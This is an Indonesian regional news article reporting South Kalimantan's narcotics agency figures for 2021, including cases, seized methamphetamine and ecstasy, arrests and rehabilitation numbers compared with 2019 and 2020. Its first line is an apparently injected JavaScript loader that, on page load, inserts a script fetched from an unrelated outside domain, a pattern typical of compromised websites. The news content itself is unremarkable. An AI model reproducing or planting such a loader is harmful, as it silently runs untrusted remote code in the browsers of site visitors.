(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM,BANJARMASIN – Pengungkapan penyalahgunaan narkoba sepanjang tahun 2021 oleh Badan Narkotika Nasional (BNN) Provinsi Kalimantan Selatan (Kalsel) naik cukup signifikan dibanding kasus Narkoba dua tahun sebelumnya.
Data BNNP Kalsel menyebutkan di tahun 2021 ada 41 kasus yang diungkap dengan barang bukti yang berhasil diamankan jenis sabu 24.346,27 gram (24,3 Kg) dan untuk ekstasi sebanyak 359 butir.
“Tersangka yang berhasil diamankan dalam kurun waktu sepanjang tahun 2021, laki-laki 61 orang, sedangkan perempuan ada 8 orang,” kata Kepala BNNP Kalsel Brigjen Pol Drs Jackson Lapalonga
saat pers rilis jelang akhir tahun laporan kinerja, Selasa (28/12/2021) di kantor BNNP Kalsel.
Baca juga: Silaturahmi Media Mitra Setwan DPRD Kapuas, Ini Permintaan Salah Satu Wartawan
Kepala BNN provinsi Kalsel Brigjen Pol Drs Jackson Lapalonga mengatakan, upaya oleh BNNP Kalsel dalam perang melawan peredaran dan penyalahgunaan narkotika di tahun 2021 ditemukan adanya peningkatan jumlah barang jenis Narkotika yang berhasil diamankan. Sebagai perbandingan pada tahun 2019 ada 35 kasus dengan jumlah barang bukti yang berhasil diamankan untuk jenis sabu 7.251,10 gram (7,2 Kg) dan 598 butir, tersangka yang berhasil ditangkap laki-laki 54 orang dan perempuan 9 orang.
“Tahun 2020 ada 43 kasus yang diungkap, barang bukti yang berhasil diamankan jenis sabu 3.202,71 gram (3,2 Kg) dan ekstasi 34 butir, dengan tersangka yang berhasil ditangkap 92 laki-laki dan 7 perempuan,” katanya.
Sementara itu dalam bidang rehabilitasi BNNP Kalsel untuk data tahun 2020, rawat Jalan sebanyak 390 orang , rawat inap sebanyak 49 orang, pulih sembuh sebanyak 293 orang.
Sekadar perbandingan tahun 2021, pasien narkoba rawat jalan sebanyak 483 orang, pasien rawat rawat inap 35 orang, pecandu narkoba yang pulih sembuh sebanyak 349 orang.
Baca juga: Tim Literasi Palnam Vaksinasi Bergerak ‘Dipaksa’ Nginap di Kecamatan Beruntung Baru
“BNN Kalsel juga berhasil mengungkap jaringan yang beroperasi di wilayah Banjarmasin dan Hulu Sungai Tengah dengan tersangka Asep Surani alias Asep, Abdul Sani dan Heriyadi sindikat Narkoba jaringan Lapas (Lembaga Pemasyarakatan),” ungkap Kepala BNNP Kalsel.
Selain mengungkap jaringan peredaran narkoba dan barang bukti, BNN Kalsel juga memperhatikan program rehabilitasi bagi para pengguna narkotika dengan mememaasimalkan TAT (Tim Assesment Terpadu) untuk menanggulangi para pecandu narkoba.
“Para pengguna tidak ada yang di penjara, kami imbau untuk masyarakat dan keluarga apabila ada anggota keluarga yang merupakan salah satu penyalahguna narkotika kami harap segera melapor,” ucap Jackson Lapalonga.
Sementara itu untuk tren yang terjadi di tahun 2021, penyalahgunaan narkotika lebih meningkat padahal hampir semua orang berada di rumah alias WFH (Work From Home).(kanalkalimantan.com/ Seno)
Reporter : seno
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More
KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More
KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More
KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More
This website uses cookies.